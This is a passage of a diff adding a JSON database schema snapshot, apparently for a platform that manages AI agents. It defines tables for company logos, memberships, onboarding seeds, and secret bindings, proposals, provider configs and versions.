+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_logos_company_uq": {
+          "name": "company_logos_company_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_logos_asset_uq": {
+          "name": "company_logos_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_logos_company_id_companies_id_fk": {
+          "name": "company_logos_company_id_companies_id_fk",
+          "tableFrom": "company_logos",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_logos_asset_id_assets_id_fk": {
+          "name": "company_logos_asset_id_assets_id_fk",
+          "tableFrom": "company_logos",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_memberships": {
+      "name": "company_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_type": {
+          "name": "principal_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_id": {
+          "name": "principal_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "membership_role": {
+          "name": "membership_role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_memberships_company_principal_unique_idx": {
+          "name": "company_memberships_company_principal_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_memberships_principal_status_idx": {
+          "name": "company_memberships_principal_status_idx",
+          "columns": [
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_memberships_company_status_idx": {
+          "name": "company_memberships_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_memberships_company_id_companies_id_fk": {
+          "name": "company_memberships_company_id_companies_id_fk",
+          "tableFrom": "company_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_onboarding_seeds": {
+      "name": "company_onboarding_seeds",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision": {
+          "name": "revision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mission": {
+          "name": "mission",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_name": {
+          "name": "agent_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_role": {
+          "name": "agent_role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_task_title": {
+          "name": "first_task_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_task_details": {
+          "name": "first_task_details",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "applied_at": {
+          "name": "applied_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_onboarding_seeds_company_uq": {
+          "name": "company_onboarding_seeds_company_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_onboarding_seeds_company_id_companies_id_fk": {
+          "name": "company_onboarding_seeds_company_id_companies_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_goal_id_goals_id_fk": {
+          "name": "company_onboarding_seeds_goal_id_goals_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_agent_id_agents_id_fk": {
+          "name": "company_onboarding_seeds_agent_id_agents_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_issue_id_issues_id_fk": {
+          "name": "company_onboarding_seeds_issue_id_issues_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_bindings": {
+      "name": "company_secret_bindings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version_selector": {
+          "name": "version_selector",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'latest'"
+        },
+        "required": {
+          "name": "required",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "projection_class": {
+          "name": "projection_class",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unclassified'"
+        },
+        "projection_allowlist_key": {
+          "name": "projection_allowlist_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_bindings_company_idx": {
+          "name": "company_secret_bindings_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_secret_idx": {
+          "name": "company_secret_bindings_secret_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_target_idx": {
+          "name": "company_secret_bindings_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_target_path_uq": {
+          "name": "company_secret_bindings_target_path_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "config_path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_bindings_company_id_companies_id_fk": {
+          "name": "company_secret_bindings_company_id_companies_id_fk",
+          "tableFrom": "company_secret_bindings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secret_bindings_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_bindings_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_bindings",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_proposals": {
+      "name": "company_secret_proposals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "proposed_name": {
+          "name": "proposed_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_key": {
+          "name": "proposed_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_description": {
+          "name": "proposed_description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "justification": {
+          "name": "justification",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_ciphertext": {
+          "name": "value_ciphertext",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "value_fingerprint_sha256": {
+          "name": "value_fingerprint_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "value_length": {
+          "name": "value_length",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_proposal_id": {
+          "name": "secret_proposal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "projection_class": {
+          "name": "projection_class",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unclassified'"
+        },
+        "binding_target_policy_snapshot": {
+          "name": "binding_target_policy_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposer_ancestor_ids_snapshot": {
+          "name": "proposer_ancestor_ids_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_ancestor_ids_snapshot": {
+          "name": "target_ancestor_ids_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_by_agent_id": {
+          "name": "proposed_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolution_reason": {
+          "name": "resolution_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_secret_id": {
+          "name": "created_secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "applied_binding_config_path": {
+          "name": "applied_binding_config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "ciphertext_scrubbed_at": {
+          "name": "ciphertext_scrubbed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_proposals_company_status_idx": {
+          "name": "company_secret_proposals_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_proposer_status_idx": {
+          "name": "company_secret_proposals_proposer_status_idx",
+          "columns": [
+            {
+              "expression": "proposed_by_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_expiry_idx": {
+          "name": "company_secret_proposals_expiry_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_secret_proposal_idx": {
+          "name": "company_secret_proposals_secret_proposal_idx",
+          "columns": [
+            {
+              "expression": "secret_proposal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_proposals_company_id_companies_id_fk": {
+          "name": "company_secret_proposals_company_id_companies_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_proposals_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_secret_proposal_id_company_secret_proposals_id_fk": {
+          "name": "company_secret_proposals_secret_proposal_id_company_secret_proposals_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secret_proposals",
+          "columnsFrom": [
+            "secret_proposal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_target_id_agents_id_fk": {
+          "name": "company_secret_proposals_target_id_agents_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "target_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_proposed_by_agent_id_agents_id_fk": {
+          "name": "company_secret_proposals_proposed_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "proposed_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_origin_issue_id_issues_id_fk": {
+          "name": "company_secret_proposals_origin_issue_id_issues_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "company_secret_proposals_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_created_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_proposals_created_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "created_secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "company_secret_proposals_kind_check": {
+          "name": "company_secret_proposals_kind_check",
+          "value": "\"company_secret_proposals\".\"kind\" in ('secret', 'binding')"
+        },
+        "company_secret_proposals_status_check": {
+          "name": "company_secret_proposals_status_check",
+          "value": "\"company_secret_proposals\".\"status\" in ('pending', 'approved', 'rejected', 'withdrawn', 'expired')"
+        },
+        "company_secret_proposals_projection_check": {
+          "name": "company_secret_proposals_projection_check",
+          "value": "\"company_secret_proposals\".\"projection_class\" = 'unclassified'"
+        },
+        "company_secret_proposals_shape_check": {
+          "name": "company_secret_proposals_shape_check",
+          "value": "(\n      \"company_secret_proposals\".\"kind\" = 'secret'\n      and \"company_secret_proposals\".\"proposed_name\" is not null\n      and \"company_secret_proposals\".\"proposed_key\" is not null\n      and \"company_secret_proposals\".\"secret_id\" is null\n      and \"company_secret_proposals\".\"secret_proposal_id\" is null\n      and \"company_secret_proposals\".\"target_type\" is null\n      and \"company_secret_proposals\".\"target_id\" is null\n      and \"company_secret_proposals\".\"config_path\" is null\n    ) or (\n      \"company_secret_proposals\".\"kind\" = 'binding'\n      and ((\"company_secret_proposals\".\"secret_id\" is not null)::int + (\"company_secret_proposals\".\"secret_proposal_id\" is not null)::int) = 1\n      and \"company_secret_proposals\".\"target_type\" = 'agent'\n      and \"company_secret_proposals\".\"target_id\" is not null\n      and \"company_secret_proposals\".\"config_path\" is not null\n    )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.company_secret_provider_configs": {
+      "name": "company_secret_provider_configs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "display_name": {
+          "name": "display_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'ready'"
+        },
+        "is_default": {
+          "name": "is_default",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_checked_at": {
+          "name": "health_checked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_details": {
+          "name": "health_details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "disabled_at": {
+          "name": "disabled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_provider_configs_company_idx": {
+          "name": "company_secret_provider_configs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_provider_configs_company_provider_idx": {
+          "name": "company_secret_provider_configs_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_provider_configs_default_uq": {
+          "name": "company_secret_provider_configs_default_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secret_provider_configs\".\"is_default\" = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_provider_configs_company_id_companies_id_fk": {
+          "name": "company_secret_provider_configs_company_id_companies_id_fk",
+          "tableFrom": "company_secret_provider_configs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_provider_configs_created_by_agent_id_agents_id_fk": {
+          "name": "company_secret_provider_configs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_provider_configs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_versions": {
+      "name": "company_secret_versions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "material": {
+          "name": "material",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_sha256": {
+          "name": "value_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_version_ref": {
+          "name": "provider_version_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'current'"
+        },
+        "fingerprint_sha256": {
+          "name": "fingerprint_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rotation_job_id": {
+          "name": "rotation_job_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "company_secret_versions_secret_idx": {
+          "name": "company_secret_versions_secret_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_value_sha256_idx": {
+          "name": "company_secret_versions_value_sha256_idx",
+          "columns": [
+            {
+              "expression": "value_sha256",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_fingerprint_idx": {
+          "name": "company_secret_versions_fingerprint_idx",
+          "columns": [
+            {
+              "expression": "fingerprint_sha256",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_secret_version_uq": {
